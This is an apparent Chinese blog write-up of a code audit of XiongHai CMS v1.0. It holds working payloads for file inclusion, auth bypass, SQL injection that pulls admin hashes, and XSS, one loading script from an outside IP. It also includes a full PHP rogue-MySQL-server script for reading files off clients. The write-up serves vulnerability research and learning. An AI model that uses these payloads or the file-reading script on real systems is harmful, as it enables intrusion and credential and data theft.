跟着Y4师傅学代码审计-熊海CMS_V1.0

文章发布时间:

最后更新时间:

写在前面

准备开始冲一下CNVD了,开启白盒审计阶段。这一篇练习分析熊海CMSV1.0,补充自己的一些trick和审计思路,加油!

这里会边适应申整套源码的思路,边同时扩展里面出现的知识点

配置环境

https://down.chinaz.com/search/%E7%86%8A%E6%B5%B7CMS.htm 站长之家下载源码。

这里选用phpstudy搭建CMS运行环境

1
2
3
4
php: 5.2.17
apache:
mysql: 5.5.53
windows: Windows 11 家庭中文版

代码审计

先拿自动化工具扫一下

image-20221129232556955

好家伙331个,这误报率有点高

我们一个个来

LFI

在根目录index.php中直接就存在一个文件包含,我们可以通过目录穿越包含根目录的文件(这里需要配合写文件或者文件上传一类)

image-20221129233208496

例如我们在根目录写一个shell.php,其中包含phpinfo()

1
r=../shell

当然这里后缀有限制,我们特殊条件下也可以采用00截断,但现在不常见了就不展开了

php 版本小于 5.3.4 而且GPC = Off 允许使用%00

admin目录下同样也存在一个,原理一致不再多说

INSTALL安装逻辑问题

/install/index.php中,判断网站是否已安装取决于当前目录是否存在InstallLock.txt文件,所以如果我们是利用前面所述的文件包含漏洞,在根目录包含install/index.php文件就会导致重装问题

image-20221201110203977

1
r=../install/index

image-20221201110456956

这里Y4是否提到了一个配合目录穿越读文件的利用

首先如果是在根目录去包含install文件的话是会出错的,因为其中会包含一个../inc/db.class.php文件。该文件如果在根目录包含是一定出错的。因此,我们需要找到一个保持相对路径相同包含点文件来利用

image-20221201112649470

/admin/index.php便是比较好利用的,这里看到当前文件与/install/index.php针对/inc/conn.php的相对路径是一样的,因此可以包含到正确文件

1
r=../../install/index

image-20221201112831377

进一步我们这里便可以利用恶意mysql服务端来读取任意文件

https://www.mi1k7ea.com/2021/04/23/MySQL%E5%AE%A2%E6%88%B7%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/

exp: 注意版本适配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:1237");

while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}

echo "[.] Waiting for connection on 0.0.0.0:1237\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";

echo "[+] $filename from $peer:\n";

$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}

echo "\n\n";
fclose($s);
}

image-20221201114341966

越权漏洞

inc目录下一般是配置文件,我们在checklogin.php中发现越权

image-20221129234657636

很简单的一个越权,这里只检验了cookie的user字段是否为空

我们利用admin后台的其中一个页面wzlist.php做尝试

1
2
/admin/?r=wzlist
Cookie: user=whatever

image-20221129235210714

SQL Injection

/admin/files/login.php下,可以看到user参数被直接拼接,并且单引号闭合,还有报错提供

image-20221129235904078

之后会去判断密码的md5值是否和数据库中查出的对应用户的密码相同。这里也说明密码在数据库中已md5哈希值存储

image-20221130223944666

综上,这里的一种利用方式就是通过报错注入得到admin账户的密码,然后登录后台

1
2
3
4
5
6
7
8
/admin/?r=login
user=-1' and updatexml(1,concat(0x23,database(),0x23),1) # //xhcms_v1.0
user=-1' and updatexml(1,concat(0x23,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,32),0x23),1) # //manage
user=-1' and updatexml(1,concat(0x23,substr((select group_concat(column_name) from information_schema.columns where table_name='manage'),1,32),0x23),1)
// id,user,name,password,img,mail,qq,date 8个字段
user=-1' and updatexml(1,concat(0x23,substr((select group_concat(user,password) from manage),1,32),0x23),1) #
// admin 21232f297a57a5a743894a0e4a801fc3

image-20221130224839280

拿到md5后去cmd5上解个密

image-20221130230504913

这样既可获得admin账户的用户名密码

第二种方法就是sqlmap一把梭,原理是一样的(我这里没注出来)

第三种方法是Y4师傅说的利用联合查询造出假数据,只要满足回显1行,并且md5的原值可知即可,还有注意字段数保持一致,满足8个字段(第4个字段为密码

1
2
user=1' union select 1,2,'RacerZ','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8 #
password=1

image-20221130232228795

后台SQL

image-20221130232615896

关键词 mysql_query

查看该文件,这里执行了一个删除操作,id字段参数可控,还是利用报错

image-20221130232815779

/admin/files/adset.php

这里有一个addslashes限制,而且sql语句传参处加了引号,上下文也未作编码相关设置,所以没有宽字节注入的利用。

这里有一篇利用trick总结以后遇到再看 https://cloud.tencent.com/developer/article/1077710

image-20221130233148080

/admin/files/editcolumn.php

在type参数控制下,下面俩分支均可SQL注入(id可控)

image-20221130234707544

同时后面还有update操作也可控

image-20221130234835133

/admin/files/imageset.php

这个页面有个文件上传功能,上传位置可知

但是存在白名单过滤,仅能上传jpg|jpeg|gif|bmp|png后缀文件

image-20221201084817464

/files/content.php

这里便是存在我们刚才说的addsalshes虽然加了,但是可以看到query那块的sql查询并没有使用引号包裹,那么我们直接查就可以了

image-20221201085501422

同理在/files/software.php下也是这种情况

image-20221201085817340

基本上存在表单的页面都有SQL注入hhhhhh。

XSS

/files/contact.php页面中

1
2
3
4
5
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}

这里会接收page参数,并回显

image-20221201094836660

一个典型的反射型XSS

最基本的payload,注意闭合a标签

1
page=</a><script>alert(1)</script><a>

如果我们想回显更复杂的字符串,就需要绕开引号导致addslashes的限制

当然有个标签 SRC属性是可以不带引号的,尝试引入第三方js或第三方html页面

1
2
<SCRIPT SRC=http://43.140.198.45:81></SCRIPT>
page=</a><SCRIPT SRC=http://43.140.198.45:81/xss.js></SCRIPT><a>

或者

1
page=</a><script>alert(/hacked by RacerZ/)</script><a>

/files/content.php

id可控,cookie也可控

image-20221201102040479

同时在前面,回显参数来自pinglun变量,该变量的值来自SQL查询interaction表,表名这里是否可利用存储型XSS,我们看下可提交存入数据库的参数是否存在过滤

image-20221201102440942

image-20221201104054071

这里可以看到能提交name,email,url,content等参数,并且提交至/?r=submit&type=comment&cid=<?php echo $id?>,看下该页面对content变量的值做了防护,其他参数都没啥过滤

image-20221201104301792

image-20221201104227896

再看看最终回显的参数有哪些,url和name参数是可回显的,url回显位置不太好在a标签的href处而且必须得包含http://,可以尝试在name处注入payload

image-20221201104546482

image-20221201104959496

验证码逻辑问题

我们在刚才的/files/content.php当中看到还引入了一个验证码

image-20221201105657761

查看/inc/code.class.php

它这里的逻辑就是生成验证码图片并将对应的字符串存入SESSION

image-20221201105800295

我们看看验证逻辑,在/files/submit.php中,只是做了简单的比较操作,如果错误就退出也没有刷新操作。所以是可以被用来直接爆破的

image-20221201105835192

参考链接

https://pino-hd.github.io/2018/06/10/%E7%86%8A%E6%B5%B7CMSv1-0/

https://xz.aliyun.com/t/10393

https://y4tacker.blog.csdn.net/article/details/111501407

https://y4tacker.github.io/2022/06/16/year/2022/6/Y4%E6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E6%9E%B6%E6%9E%84